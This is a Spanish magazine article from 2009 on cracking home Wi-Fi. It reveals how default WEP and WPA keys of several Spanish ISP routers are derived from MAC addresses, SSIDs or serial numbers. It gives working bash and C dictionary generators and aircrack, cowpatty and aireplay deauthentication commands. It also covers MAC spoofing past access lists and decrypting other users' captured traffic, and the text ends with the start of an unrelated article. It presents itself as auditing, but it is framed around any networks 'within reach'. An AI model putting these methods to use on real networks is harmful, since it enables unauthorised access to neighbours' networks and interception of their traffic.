Z-com Z001349

Zyxel Z001349

P-660HW-D1 Z001349

Xavvy X000138

Comtrend C0030DA

Zygate Z0002CF o

C0030DA

De todos es sabido ya que los 3 primeros pares de una dirección MAC indica cual es el fabri-cante del router o de una tarjeta inalámbrica. Con esto ya podemos saber qué raíz de clave corresponde a una MAC.

• ESSID: WLAN_AB• MAC: 00:60:B3:04:F1:ED

Sabemos que la MAC es de un router de la ma- rca 'Z-com' y que la clave por defecto para esa red será algo como:

Z001349XXXXAB

Para conseguir la contraseña completa, el prob- lema se basa en aplicar la fuerza bruta para crear un diccionario con todas las posibles claves que vayan desde Z0013490000AB hasta Z00 1349FFFFAB.

Y nilp0inter, tan amablemente, se dis-puso a crear un programa en C que hiciera estas operaciones de una forma eficaz. Eso fue halla por el 2006. Aquí tenéis una referencia al programa [2] tal cual lo hizo su autor con el cual me he comunicado y ha afirmado que remitiría mis sugerencias a los actuales man-tenedores del programa que el abandonó hace ya un tiempo.

Yo me he permitido modificar el programa en ciertos aspectos para hacerlo más eficiente. El programa puede ejecutarse de dos maneras:

$ ./wlandecrypter <BSSID> <ESSID>

-> Salida por pantalla

$ ./wlandecrypter <BSSID> <ESSID>

[FICHERO] -> Crea diccionario

La primera forma es muy útil para utilizarla en combinación con el programa Weplab [3], que será el encargado de contrastar cada una de las po-sibles claves con un archivo de captura que deberá contener al menos 4 paquetes en formato *.cap.

Este podría ser un ejemplo de ejecución:

$ wlandecrypter 00:60:B3:04:F1:ED

WLAN_AB | weplab --key 128 -y

--bssid 00:60:B3:04:F1:ED

captura_wlan.cap

El programa WepAttack [4] también sirve para este propósito. Y podrías arrancarlo de este modo:

$ wlandecrypter 00:60:B3:04:F1:

ED WLAN_AB | wepattack -f captura_

wlan.cap

Puedes ver el código fuente creado por nilp- 0inter y modificado por mi en el Listado 1.

Tal como se presenta, el código es fácil de comprender incluso para un programador novato. En resumen, el proceso siempre es el mismo:

• Capturar cuatro paquetes con airodump (-ng) en formato *.cap.

• Generar el diccionario para la MAC y ES-SID deseados con wlandecrypter.

• Pasar este diccionario a Weplab o WepAttack.

La clave por defecto se obtiene en cuestión de segundos.

Ataque a “R-WLANXX”Para este tipo de redes, presentes sólo en la provincia de Galicia, basta con aplicar de forma pura y dura la fuerza bruta. Sus claves por de-fecto suelen ser 6 dígitos decimales aleatorios seguidos de 7 ceros que rellenan los 13 caracte-res típicos de una contraseña de 128 bits.

En otros lugares se ha dicho que la clave se compone de 8 dígitos cualesquiera seguido de 5 ceros hasta completar los 13. También hay quien dice que los primeros 4 dígitos de la clave co-rresponden con el año de fabricación del router o con el número del cliente asignado quedando las claves con una estructura de este tipo:

2001XXXX00000

2002XXXX00000

####XXXX00000

2008XXXX00000

2009XXXX00000

Listado 2. Script Rwlan

#!/bin/bash

INICIO=2009999900000

FIN=2001000000000

until ((INICIO==FIN))

do

echo $INICIO >> $1

let INICIO=$INICIO-100000

done

echo 1000000000000 >> $1

Listado 3. Script DlinkWireless

#!/bin/bash

P1=`echo $1|cut -d : -f 1`

P2=`echo $1|cut -d : -f 2`

P3=`echo $1|cut -d : -f 3`

P4=`echo $1|cut -d : -f 4`

P5=`echo $1|cut -d : -f 5`

P6=`echo $1|cut -d : -f 6`

echo $P6$P1$P5$P2$P3$P4$P6$P5$P2$P

3$P4$P1$P3

Page 73: Linux_05_2009_ES

73www.lpmagazine.org

hacking para linuxerosCracking Wifi al completo

No obstante, no es extremadamente costoso ha-cer una lista con todas las posibles combinacio-nes y probar ésta contra un archivo de captura con 4 IV's, con un comando como este:

$ aircrack-ng -b BSSID -w lista_

numeros.txt fichero.cap

Si, por aquello de probar, quisieras crear un dic-cionario que abarcara desde el año 2001 hasta el 2009 inclusive, podrías utilizar el sencillo script que se muestra en el Listado 2.

El número de claves posibles se reduciría bastante, y el tiempo de crackeo lo haría en la misma proporción.

Ataque a “ADSLXXXX”La raíz del problema para las redes Wireless de Orange viene dado por el motivo siguiente: Al- gunas redes WiFi utilizan palabras de paso o pass- phrases para generar claves WEP estáticas. El administrador del router inserta en la pantalla de instalación este passphrase y el software especí-fico de éste configura automáticamente la clave WEP apropiada por defecto. Esto simplifica el proceso de instalación, porque las palabras de pa-so son más fáciles de recordar que la clave WEP generada en si.

Hay situaciones en que este método no puede ser utilizado:

• No todo el hardware Wifi lo soporta.• Cuando en la red se mezclan equipos de

diferentes fabricantes.

Pero este no es el caso, y la empresa Orange utili-za este método para generar las claves por defec-to para sus routers. La situación es la siguiente:

• El ESSID de estas redes siempre tiene el aspecto 'ADSLXXXX' donde las cuatro X son siempre dígitos aleatorios.

• La passphrase tiene el aspecto yyyyXXXX, donde las X coinciden con las del ESSID y las 'y' son siempre letras en minúscula.

• El método para crear la clave WEP a partir del passphrase es aplicarle al mismo el algoritmo MD5. Lo que nos da la WEP en hexadecimal.

Con esto es fácil crear un diccionario con todas las posibles contraseñas para estas redes. Ima-ginate lo siguiente:

• Tenemos una red llamada ADSL1234.• Las passphrases irán desde 'aaaa1234' has-

ta 'zzzz1234'.• A cada una le aplicamos MD5 y guardamos

el resultado en un fichero que hará de dic-

cionario contra una captura, como siempre, de al menos 4 paquetes.

De la mano de 'ska1ix' se creó un programa, llamado DecSagem [5], que cumple dos fun-ciones:

• Crea un diccionario con todas las posibles claves.

• Una vez obtenida la clave WEP puede uti-lizarse para obtener la passphrase si se le pasa la anterior como parámetro.

Su uso es tal que así:

$ decsagem [-i] <numeroSSID>

<clave>

Donde <numeroSSID> son las cuatro cifras que acompañan en el ESSID al nombre 'ADSL'. Y <clave> es la WEP key que obtendremos al pasar el diccionario resultante por aircrack(-ng) (que nos permitirá entrar en la red) y que nos da la posibilidad, opcionalmente, de conseguir el passphrase correspondiente.

Listado 4. Diccionario DlinkWireless

#include <stdio.h>

/* Por aquello de hacerlo mas intuitivo */

#define P1 0

#define P2 1

#define P3 2

#define P4 3

#define P5 4

#define P6 5

int main(int argc, char *argv[])

{

FILE *dic; /* Archivo de salida */

int mac[6]; /* Direccion MAC */

int n, var; /* Variables Utiles */

if (argc < 3) {

fprintf(stderr, "Usage: ./ddlink XX:XX:XX:XX:XX:XX

archivo_salida\n");

exit(0);

}

/* Leemos la MAC en el formato correcto*/

n = sscanf(argv[1], "%02x:%02x:%02x:%02x:%02x:%02x",

&mac[0], &mac[1],

&mac[2], &mac[3],

&mac[4], &mac[5]);

dic = fopen(argv[2], "w"); /* Abrimos archivo para escritura*/

/* Generamos todas las posibles claves */

for (var = 0; var < 256; var++) {

fprintf(dic, "%02x%02x%02x%02x%02x%02x%02x%02x

%02x%02x%02x%02x%02x\n",

mac[P6], mac[P1], mac[P5], mac[P2],

mac[P3], mac[P4], mac[P6], mac[P5],

mac[P2], mac[P3], mac[P4], mac[P1], var);

}

printf("\nEl diccionario ha sido creado correctamente\n");

printf("\nLa clave mas probable es: ");

printf("%02x%02x%02x%02x%02x%02x%02x%02x

%02x%02x%02x%02x%02x\n\n",

mac[P6], mac[P1], mac[P5], mac[P2],

mac[P3], mac[P4], mac[P6], mac[P5],

mac[P2], mac[P3], mac[P4], mac[P1], mac[P3]);

fclose(dic);

return 0; /* BYE */

Page 74: Linux_05_2009_ES

74 Linux+ 5/2009

hacking para linuxerosCracking Wifi al completo

Ataque a “JAZZTEL_XX”Más adelante se descubrió que las redes cuyo ESSID radicaba como en el título de esta sección, seguían la misma lógica que las redes 'WLAN_XX'. De hecho, en un principio, detrás de todas estas wifi esta siempre un router de esta clase:

Marca → Comtrend

Raiz MAC → 00:1A:2B

Raiz Clave → E001D20

Y entonces llegó nilp0inter y creó otro programa llamado jazzteldecrypter que venía a crear el dic-cionario con todas las claves posibles para esta clase de redes. Programa que no escribiré aquí, por la simple razón de que es una copia exacta del wlandecrypter ya creado, al que se le ha añadi-do en la lista de routers la siguiente entrada:

// Comtrend

strcpy(routers[i].bssid,

"00:1A:2B\0");

strcpy(routers[i].init[0],

"E001D20\0");

strcpy(routers[i].notas, "Comtrend\0");

Claro que a la constante MAXROUTER defi-nida al principio del código habría que sumarle una unidad para que el programa funcionase correctamente.

Ataque a “DLINKWIRELESS”Estas redes suelen encontrarse bastante a menu-do, y siguiendo con los colmos de las grandes ideas que tienen las empresas a la hora de prote-ger a sus clientes, pues aquí tenemos otra más, y de las gordas.

Las ultra-mega-secretas claves de aquellas wifi's que poseen este ESSID son una recom-

posición (recombinación) de los pares de los bytes que forman la MAC del router. Es decir, un cambio de posiciones:

Llave maestra 6152346523413

Algoritmo:

• Obtenemos la MAC del router:

00:1F:3C:16:A7:9F

1 → 00

2 → 1F

3 → 3C

4 → 16

5 → A7

6 → 9F

• Aplicamos la llave maestra:

P6 P1 P5 P2 P3 P4 P6 P5 P2 P3 P4 P1 P3

-- -- -- -- -- -- -- -- -- -- -- -- --

9F 00 A7 1F 3C 16 9F A7 1F 3C 16 00 9F

• Resultado final:

9F00A71F3C169FA71F3C16009F

Bien, llegados a este punto se hizo un sencillo script (por parte de un tal pianista) que realizaba los cambios de posiciones automáticamente. Vea Listado 3.

Pero según parece no era oro todo lo que relucía. En los foros se vieron comentarios de gente que afirmaba coincidir con esta solución, con la única diferencia de que al último par hexa-decimal había que restarle una unidad. Esto me-rece una explicación. La realidad es, que cuando realizamos una captura de paquetes, podemos

observar normalmente el BSSID, que viene a ser la MAC del AP (punto de acceso) y la MAC del router que, normalmente, siempre coincide con la del AP. Es por este motivo que creemos que estamos viendo la misma dirección.

Puede darse la situación de que esto no sea así, y esto es lo que ha ocurrido. En algunos ca-sos las dos MAC's se diferencian en una unidad, y entonces es la MAC del router la que tenemos que tomar y no la otra.

De todos modos, probar dos claves no es mu-cho trabajo para una persona normal y corriente. No obstante, yo he automatizado la tarea en len-guaje C. El programa toma como primer paráme-tro la dirección MAC del punto de acceso y como segundo el nombre del diccionario que deseas crear. Puedes echar un vistazo en el Listado 4.

A parte de generar el diccionario me permito imprimir por pantalla la que posiblemente pueda ser la clave correcta sin tener que hacer uso del aircrack(-ng).

Ataque a ONO (P123456789)En cierta ocasión encontré una red de este tipo, pero por desgracia no pude demostrar la veraci-dad de lo que aquí se va a contar.

La cuestión, según parece, es que a los de ONO no se le ha ocurrido mejor idea que tomar como contraseña por defecto para este tipo de redes, el numero que se encuentra después de la P de su ESSID restándole 1. Es decir:

• Si la red se llama P623894175• La clave sería 623894174

En otro lugar se ha dicho que este último número (el que tomamos como clave), debe ser pasado co-mo parámetro a un programa llamado: Thomson Pass-Phrase Generator. Se supone que es entonces cuando realmente se genera la clave realmente vá-lida. Pero, de todos modos, hay quien ha compro-bado que este paso no es necesario y que la simple resta produce la clave adecuada.

Romper WPA (no de momento pero...)WPA no se puede romper (de momento). Y aun- que haya empezado con una afirmación tan con-tundente, no desesperes. El asunto radica en que no todas las redes protegidas con el algoritmo WPA utilizan contraseñas realmente seguras ni, lo que es peor todavía, aleatorias.

A partir de aquí perseguiremos una consigna: Si puedes encontrar un patrón, puedes encontrar una clave. Pero para poder testear claves contra este tipo de cifrado, sí que hay algo que precisa-remos obligatoriamente: El tan nombrado hands-hake. Este no es ni más ni menos que el proceso de conexión de un cliente con el punto de acceso

Page 75: Linux_05_2009_ES

75www.lpmagazine.org

hacking para linuxerosCracking Wifi al completo

que contiene información primordial sobre la clave. Para capturar un paquete de este tipo nada más que debemos esperar con airodump(-ng) a que un cliente autorizado se asocie correctamen- te al router. Pero la gente a veces no tiene pacien- cia y entonces echan mano de aireplay(-ng).

¿Cómo? Pues ejecutando un ataque de desautentificación.

Capturamos paquetes:

$ airodump-ng --bssid 00:01:02:03:04:

05 -c 11 -w psk ath1

Realizamos el ataque en concreto:

$ aireplay-ng -0 5 -a 00:01:02:03:04:

05 -c 11:22:33:44:55:66 wifi0

Dejamos corriendo el airodump para capturar pa-quetes de ese punto de acceso, cuando un cliente reconecte, arriba a la derecha veremos la frase:

- 'Handshake 00:01:02:03:04:05'

El truco está en repetir el ataque 2 de forma inter-mitente, para dar tiempo a reconectar al cliente.

TKIPBueno, no me detendré a contaros toda la histo-ria, dado que aquí [6] la comprenderéis sin duda al detalle. De esto me enteré por primera vez, tranquilo en mi trabajo, cuando suena la campa-nilla de mi gestor de correo avisándome de que un mensaje nuevo espera calentito en la bandeja de entrada. Directamente veo que se ha filtrado hacia la carpeta Hispasec donde almaceno todas los noticias sobre las últimas en seguridad infor-mática que recibo de Una-al-dia.

Quizás una nueva actualización de los productos de Bill, tal vez nuevos paquetes dis-ponibles para SuSE, o una ejecución de código

arbitrario o denegación de servicio en X pro-grama, modulo Y. ¡Pero no! Asombrosamente: TKIP y WPA heridos de muerte.

Un ataque basado en la misma técnica que volvió obsoleto al WEP (ataque conocido como chopchop) ha permitido que se pueda desci-frar un paquete de tipo ARP en menos de 15 minutos, independientemente de la contraseña usada para proteger el WPA.

Como bien sabemos, WPA puede utilizar por el momento dos tipos de cifrado que son TKIP o AES, pero por suerte para aquellos que se autodenominan auditores de redes wireless, suele ser el primero el que se encuentra presen-te en la fiesta la mayoría de las ocasiones.

De momento, y para los que se hayan emocionado, decir que todavía no es posible obtener la clave de la red directamente como se hacia con WEP. Las posibilidades a día de hoy son la de inyectar paquetes para provocar una denegación de servicio o incluso redirigir el tráfico (que no es poco a decir verdad).

Ataque a TELE2Todo fue como una especie de proyecto para recolectar contraseñas por defecto de esta clase de routers. El objetivo era, como siempre, sacar el patrón que las generaba.

Luego empezaron a aparecer suposiciones:

• Los unos dijeron que sus contraseñas em-pezaban por la cadena IX1V seguido de 7 dígitos cualesquiera.

• IX1V7, con este último dígito constante, y otros 6 cualesquiera.

• Y los últimos dijeron que sus contraseñas empezaban por la raíz IX1VP.

Sea como fuere, más adelante se descubrió que los del segundo grupo habían adquirido el router, absolutamente todos ellos, durante el año 2007.

A partir de aquí se decidió que, como siem-pre, lo principal era crear un diccionario con todas las posibilidades. Como se puede deducir los que empiezan por la raíz IX1V7 tardan una décima parte en crearse que los que empiezan por IX1V (aunque este último abarca todas las posibilidades, siempre que lo que siga sean dí-gitos y no otros caracteres).

Para crear tal diccionario algunos se decidie-ron por hacer uso de la siguiente herramienta. Po-déis descargarla desde la siguiente referencia [7].

Su uso viene como sigue:

$ perl wg.pl -a IX1V -v 0123456789

-l 7 -u 7 >> dic_tele2.txt

o para los del año 2007:

$ perl wg.pl -a IX1V7 -v 0123456789

-l 6 -u 6 >> dic_tele2_07.txt

Como es habitual, este diccionario puede ser utilizado directamente con la opción -w de air-crack; pero este proceso es muy lento, apenas prueba unos cientos de claves por segundo.

Pero entonces apareció el programa Cow-patty acompañado de la utilidad genpmk.

Esta última se encarga de pasar el listado de claves posibles que generamos en el paso anterior a un formato que pueda entender su amigo Cowpatty con las primary master key ya precalculadas. Se ejecuta más o menos así:

$ genpmk -f dic_tele2.txt

-d tele2.dic -s Tele2

Lo mejor de todo es que a medida que vas generando el nuevo diccionario precalculado, lo puedes ir testeando contra un archivo de capturas que al menos contenga un handshake. Aquí el comando:

$ cowpatty -r captura.cap

-d tele2.dic -s Tele2

Probará tantas claves como las que hayan sido generadas hasta el momento, en caso de tener-las todas, claro está, pues probará el diccionario entero. ¿A qué velocidad? Yo llegué a rondar las 150.000 claves por segundo. Ahí es nada.

Mi prueba personal, que cuando genpmk ya había generado desde la clave IXV0000000 hasta la IXV3497381 lo probé contra el archivo de cap-turas y me dijo que ninguna de ellas coincidía.

Como el proceso de generación del diccio-nario lleva unas cuantas horas aun sobre un Co-re 2 Duo... pues decidí detener genpmk y crear tan sólo el diccionario de las claves cuya raíz tenían IX1V7 (los creados en el 2007).Figura 4. Escritorio y Logo de la distribución WifiSlax

Page 76: Linux_05_2009_ES

76 Linux+ 5/2009

hacking para linuxerosCracking Wifi al completo

Cuando lo hube generado por completo lo probé de nuevo mediante Cowpatty y por desgracia obtuve la misma respuesta, NADA.. Pero no había que desesperar, estamos en el año 2009, es decir, que muchos de los routers que se encuentran hoy activos han sido adquiridos en el 2008. Siguiendo esta filosofía pensé que quizás la raíz de sus claves comenzarían por IX1V8.

Y no esperé más, creé el diccionario corres-pondiente para estas combinaciones de claves. En conjunto hice lo siguiente:

$ perl wg.pl -a IX1V8 -v 0123456789

-l 6 -u 6 >> dic_tele2_08.txt

$ ./genpmk -f dic_tele2_08.txt

-d tele2_08.dic -s Tele2

$ ./cowpatty -r captura.cap

-d tele2_08.dic -s Tele2

Y obtuve mi premio:

The PSK is: [ IX1V8748132 ]

Ataque a SPEEDTOUCHEn este caso no existe un patrón concreto, pe-ro si una norma; y es que la clave se genera a partir del numero de serie que posea el punto de acceso. Ahora nos explicamos. Imagínese usted que el número de serie de su punto de acceso es el siguiente:

CP0723JT385(34)

Bien, ahora separaremos los diferentes campos:

CP Siempre igual CP

WW Semana del año 23

PP Código de producción

JT

XXX 3 dígitos aleatorios

(*) 385

CC Código de configuración

34

(*) Decimos que 'XXX' son números aleatorios, pero esto es para nuestros propósitos; pues en realidad podría representar el número de unidad del punto de acceso.

Para obtener la clave se sigue ahora este proceso:

• Se eliminan los campos 'CC' Y 'PP', nos queda:

CP0723385

• Los 3 últimos dígitos (XXX) se pasan a he- xadecimal:

CP0723333835

• Se aplica el algoritmo SHA-1 a lo que te-níamos:

742da831d2b657fa53d347301ec610e1eb

f8a3d0

Resultados:

• Los 3 últimos bytes (6 caracteres en AS-CII) se añaden a la palabra SpeedTouch para formar el ESSID correspondiente al punto de acceso.

“SpeedTouchF8A3D0”

• Los 5 primeros bytes (10 caracteres en AS-CII) conforman la clave por defecto para nuestra red.

“742DA831D2”

Hasta aquí todo correcto. Si obtenemos un nú-mero de serie, podemos calcular su contraseña. Pero esta situación es rara a menos que estemos analizando nuestra propia red o la de algún ve-cino que nos haya dado permiso.

La pregunta es sencilla: ¿Qué hace un hacker/cracker cuando quiere averiguar algo que se encuentra dentro de un rango de posibi-lidades?

Muy cierto, utilizan la FUERZA BRUTA. El objetivo es crear todos los números de serie posibles para un año en concreto sin los campos 'CC' Y 'PP' y, después de pasarlo por el algoritmo de cifrado SHA-1, se comparan los 3 últimos bytes con la terminación de la ESSID (nombre de la red) que deseamos romper. Caso de coincidir, significa que los primeros 5 bytes se corresponden con la clave por defecto para la red SpeedTouch.

Por suerte, alguien ya ha hecho este trabajo por nosotros, y el resultado lo podemos encon-trar aquí y el código fuente para su estudio en este otro lugar.

En realidad es un ataque por fuerza bruta que en principio no dura demasiado tiempo (muy poco en realidad) y, según su autor, se puede op-timizar si utilizamos las funciones criptográficas proporcionadas por OpenSSL para el uso de SHA-1. Como único parámetro se pide el ESSID de la red SpeedTouch que queremos crackear.

¿Qué pasa con LIVE-BOX?Pues de momento, y sintiéndolo mucho, no pasa nada. El caso es que unos franceses col-garon en Youtube [8] unos cuantos videos que mostraban como romper estas claves utilizando un diccionario del mismo modo que se había hecho para las redes Tele2.

Claro, la cuestión es que sólo ellos poseían tal diccionario y lo vendían a saber qué precio en una página que aquí no mostraré por cues-tiones éticas (que era un timo vamos, o eso al

menos comentaron quienes tuvieron la genial idea de hacer caso a esta gente).

Los vídeos no están falsificados. Si yo tengo un punto de acceso de la marca LiveBox y sé su contraseña por defecto, me hago un diccionario enorme con códigos aleatorios, entremedias introduzco mi clave correcta, y si lo pruebo contra un archivo de capturas está claro que en algún momento le tocará el turno a la nuestra y aircrack(-ng) nos dirá que hemos acertado de pleno.

Siento la decepción, pero hasta el momento, y a la espera de estudios más profundos, estas re-des se encuentran cerradas a nuestros encantos.

Evadir ESSID ocultosMultitud de veces nos encontramos con redes cuyo ESSID aparece como oculto y nos impide realizar la conexión a esa red aun disponiendo de la clave adecuada a la misma.

Hoy por hoy esto no será un impedimento para nosotros. El estandar 802.11, sólo obliga a cifrar los paquetes que contienen datos, aque-llos otros de control podrían viajar en texto plano.

¿Qué paquetes de control? Pues la mayoría de las redes emiten tramas en broadcast donde se puede leer el ESSID tranquilamente. Hay quien se encarga de deshabilitar esta caracterís-tica en sus puntos de acceso; pero tenemos más salidas, ya que nadie puede impedir que leamos los paquetes de asociación o reasociación de los clientes contra la red. En estas tramas el nombre del AP también viaja sin cifrar.

Una de dos: Podemos esperar pasivamente a que un cliente legítimo se conecte a la red. O si somos un poco mas impacientes provocar una reasociación con aireplay en un ataque de des-autenticación.

En realidad no tienes más que poner tu sniffer preferido a escuchar (aquí Wireshark puede ser tu mejor compañía) y saber leer en el lugar adecuado. Una vez que te acostumbras a leer las cabeceras de todos los protócolos, tus ojos sabrán de forma exacta donde deben mirar.

Suplantación de MACHas descubierto la contraseña de una red protegida con el algoritmo WPA y te dispones a asociarte a la red; pero tu conexión no llega a establecerse e incluso desde tu MacBook re-cibes un mensaje más específico indicando que la red posee una lista de control de acceso por MAC en la que tu dirección no se encuentra. En resumen, no puedes entrar porque no estas autorizado.

Eso ya no es problema a estas alturas: ¿Qué tal se te da hacerte pasar por otra persona?

Page 77: Linux_05_2009_ES

77www.lpmagazine.org

hacking para linuxerosCracking Wifi al completo

A día de hoy la dirección MAC de nues-tra interfaz de red se puede establecer a través de software. Esta es la ventaja que aprove-charemos para hacerle creer a nuestro Siste-ma Operativo que la MAC de nuestra tarjeta es la de un usuario que si este realmente autorizado.

Deberías tener la MAC de este cliente autorizado puesto que si has conseguido una contraseña WPA, habrás estado esperando por un paquete de autentificación y por tanto hay un cliente activo.

En caso contrario no tienes más que arran-car el airodump(-ng) filtrando por el canal de la red que deseas y el parámetro --bssid. Cuando veas que un cliente mueve tráfico en esa red, apunta su dirección MAC en un papel o en un archivo de texto.

Suplantación en Linux / MAC OS XMuy sencillo, o utilizas un programa des-tinado a tal fin que hayas encontrado en la red, o ejecutas directamente el siguiente comando:

$ sudo ifconfig interfaz hw ether

XX:XX:XX:XX:XX:XX

Si tienes una tarjeta con chip atheros y la direc-ción que has apuntado en el papel es: 00:B3:A9:CA:5F:11. El comando sería:

$ sudo ifconfig ath0 hw ether 00:

B3:A9:CA:5F:11

En Mac podrías necesitar eliminar el parámetro hw para que funcione correctamente.

Suplantación en WindowsUtiliza un programa como Smac [9] que hará todo el trabajo sucio por ti, o editas directamen-te el Registro de Windows.

Clave para WinXP:

HKEY_LOCAL_MACHINE\SYSTEM\

CurrentControlSet\Control\Class\

{4D36E972-E325-11CE-BFC1-

08002bE10318}

Clave para Win 95/98:

HKEY_LOCAL_MACHINE\SYSTEM\

CurrentControlSet\Services\ClassNet

Dentro de cualquiera de estos lugares de-berías encontrar otras claves. La mayoría de ellas contienen a su vez otra clave en su interior llamada DriverDesc que contiene el

nombre de la interfaz a que se refiere. Busca entonces cual de ellas se refiere a tu tarjeta de red inalámbrica. Cuando la hallas:

Clave “NetworkAddress”

Valor “XXXXXXXXXXXX” Dirección MAC

en hexadecimal sin puntos.

Existe una función que se encarga de leer esta dirección, su nombre es NdisReadNet-workAddress. Para que tus cambios surjan efecto no tienes más que reiniciar el PC o, más fácil todavía, deshabilitar y volver a habilitar tu adaptador de red (interfaz).

Espionaje offline: O cómo usar airdecap(-ng)Bien, muchas veces no despejamos nuestra mente y no pensamos con suficiente clari-dad. Acabamos de entrar en una red, y lo pri-mero que se nos ocurre es que para encon-trar más información interna quizás lo mejor sea utilizar un ataque Man in The Middle, pero esto, visto de forma fría, es ser corto de miras.

¿Por qué? Como siempre, la respuesta es fácil. El objetivo de un ataque MITM es obtener un tráfico que en principio no iba di-rigido a nosotros. ¿No es esto lo que ocurre cuando con airodump(-ng) capturamos los paquetes que están moviendo los clientes de esa misma red? La respuesta es afirmativa, claro está, y además, tenemos una clave que puede descifrar esos paquetes para que nuestro amigo Wireshark no diga que lo que le mandamos abrir es una parafernalia sin sentido alguno.

Entonces, junto a la suite aircrack, vino a salvarnos la vida un compañero llamado airdecap(-ng) que hace el trabajo sucio por nosotros. Aquí su uso:

airdecap-ng [opciones] <archivo cap>

Opcion Param. Descripcion

-l no elimina la cabecera

de 802.11

-b bssid direccion MAC del

punto de acceso

-k pmk WPA/WPA2 Pairwise

Master Key en hexadecimal

-e essid Nombre de la red

-p pass Clave WPA/WPA2

-w key Clave WEP en

hexadecimal

Para descifrar una captura WEP:

airdecap-ng -w 11A3E229084349BC25D97E

2939 wep.cap

Para descifrar una captura WPA/WPA2:

airdecap-ng -e 'the ssid' -p

passphrase tkip.cap

Y por lo demás no tiene más ciencia, el resultado se guardará en un archivo decap y podremos abrirlo con nuestro analizador de tráfico preferido, filtrando si así lo desea-mos por el protocolo que más nos interese. Y aquí ya veo a muchos decidiendo por HTTP y MSMSN.

ERWEs un software desarrollado para el Sistema Opertivo Windows que enlaza una variedad de herramientas increíbles para la auditoría de redes inalámbricas. Su nombre completo es Estudio de redes Wireless; pero para qué nos vamos a engañar, como subtítulo podría llevar rompe todo lo que puedas y más....

Su autor, Eleaquin, ha invertido una buena parte de su tiempo en recopilar todas estas uti-lidades y crear una interfaz que haga de su uso la mayor comodidad para el usuario de a pie. Podéis obtenerlo aquí [10].

Algunas de las características que nos po-demos encontrar:

• Configuración en modo monitor de la tar-jeta inalámbrica.

• Suite Aircrack.• Wlan Ripper (Wlan).• Wlan Buster.• DecSagem (ADSL).• Dlink Wireless.• Stkeys (SpeedTouch).• Wintele2.• AutoMagica.• Ethereal (sniffer de trafico).• NetStumbler, detector de redes y nivel de

señal.• Wireless Key View.• Net Set Man.• Etherchange.• Conversor HEX/ASCII y viceversa.

Figura 5. Ventana de instalación de KisMac

Page 78: Linux_05_2009_ES

78 Linux+ 5/2009

hacking para linuxerosCracking Wifi al completo

• Card Check (consulta la compatibilidad de nuestro chip).

• Utilidades como: CPU Administrator, Tra-cer, Whois, Calculate, Backup, Files, Atw (administrador de tareas), Yaps, Hexwrite, Notepad...

WIFISLAXBueno, en principio podríamos definirlo en tan solo dos conceptos:

• WifiSlax es Linux.• WifiSlax es un Live-CD.

A partir de aquí, y con todas estas ventajas por delante (fíjense que puede portarse en un USB si así lo desean). Descárgalo desde el sitio oficial [11].

Vamos allá con todas las novedades:

• Basado en Slackware.• Posee versión reducida.• Suite tradicional aircrack-sp.• Suite actual aircrack-ng.• Dlinkdecrypter.• Airoscript (todo lo que necesites esta aquí

dentro).• Airoscript para ipw2200.• Lanzador Kismet.• Macchanger.• Wlandecrypter.• Configuración Wireless.• Apoyo a varios chipset.• Cowpatty.• DHCP.• Configuración manual.

MAC OS XAlguno estará diciendo: ¿Y qué ocurre con mi MacBook o mi nuevo MacBook Pro?

Mi mejor recomendación para estos ca-sos, por experiencia al poseer uno, y aunque lo tengo particionado junto con Linux, es que utilicéis KisMAC(-ng) [12]. Es fácil de deducir, la versión de Kismet para Macintosh.

Algunos detalles de la preciada herra-mienta:

• Es software libre• Soporta tarjetas AirPort

• Soporta PCMIA (chipsets Orinoco o Prism2)

Según parece todavía no soporta reinyección de tráfico, pero es muy válida para crackear redes de tipo wlan.

ConclusiónLo que aquí has encontrado no es ni tec-nología punta, ni tan siquiera información clasificada. No perseguíamos eso, simple-mente deseábamos abrirte un amplio abánico de posibilidades para que puedas auditar la mayoría de las redes inalámbricas que estén a tu alcance.

• [1] Protocolos de seguridad en redes inalámbricas:

http://www.saulo.net/pub/inv/SegWiFi-art.htm

• [2] Wlandecrypter 0.5 – Revisado : http://www.telefonica.net/

web2/amstrad/wlandecrypter-0.5.tar.gz

• [3] WepLab: http://weplab.sourceforge.net/• [4] WepAttack: http://sourceforge.net/projects/

wepattack/ • [5] DecSagem: http://galeon.com/decsagem/

DecSag.rar • [6] TKIP usado en WPA, herido

de muerte: http://portalhispano.wordpress.com/

2008/11/11/tkip-usado-en-wpa-parece-estar-herido-de-muerte/

• [7] Word Generator by Matteo Redae-lli [email protected]:

http://digilander.libero.it/reda/downloads/perl/wg.p/

• [8] Crack wpa Livebox avec crack-wpa.fr:

http://es.youtube.com/watch?v=FZdm73IO5hQ

• [9] Smac 2.0: http://www.klcconsulting.net/

smac/• [10] ERW 2.4 – Final: http://rapidshare.com/files/

132415341/ERW2.4_final.rar• [11] WifiSlax: http://www.wifislax.com/ • [12] KisMAC: http://kismac.macpirate.ch

Referencias

David Puente Castro, alias blackngel, es un gran aficionado a la programación y la seguridad informática. Original de Ouren- se y viviendo actualmente en la provincia de Salamanca, dedica la mayor parte de su tiempo libre a disfrutar de la experien-cia Linux.

Asiduo escritor de artículos básicos sobre temas de seguridad informática en el E-Zine electrónico S.E.T. (Saqueado-res Edición Técnica), actualmente man-tiene su página oficial en: http://www.set-ezine.org.

Su primer encuentro con Linux data ya de hace unos 8 años y fue poco más adelante que descubrió el fantástico mun- do de la programación y la subcultura hac-ker. Participa activamente en wargames como: Yoire, Warzone, Yashira y otros.

Puede encontrarlo online práctica-mente las 24 horas del día, en las siguien-tes direcciones: [email protected] [email protected]

Sobre el autor

Figura 6. Protocolos de seguridad en redes inalámbricas

Page 79: Linux_05_2009_ES
Page 80: Linux_05_2009_ES

conocimiento libreLiberando Ideas

80 Linux+ 5/2009

linux

@so

ftwar

e.co

m.p

lMás allá del Conocimiento Libre: Liberando y Compartiendo IdeasPor lo general hablamos de liberar código, en referencia al Software Libre, o liberar trabajos y/o contenidos, en referencia al amplísimo campo del Conocimiento Libre. Sin embargo, existen movimientos que tratan de ir más allá de los contenidos en si mismos, llevando la idea de la libertad al intangible mundo de las ideas.

José Carlos Cortizo Pérez

En este artículo hablaremos de algunas inicia-tivas en esta línea que le dan una interesante vuelta de tuerca al mundo del Conocimiento Libre. En este mismo número, se publica una

entrevista a Aurora Garal (CEO de WorthIdea) y a Jordi Bufí (cofundador de Neurotic) que ahondan en los conte-nidos de este artículo.

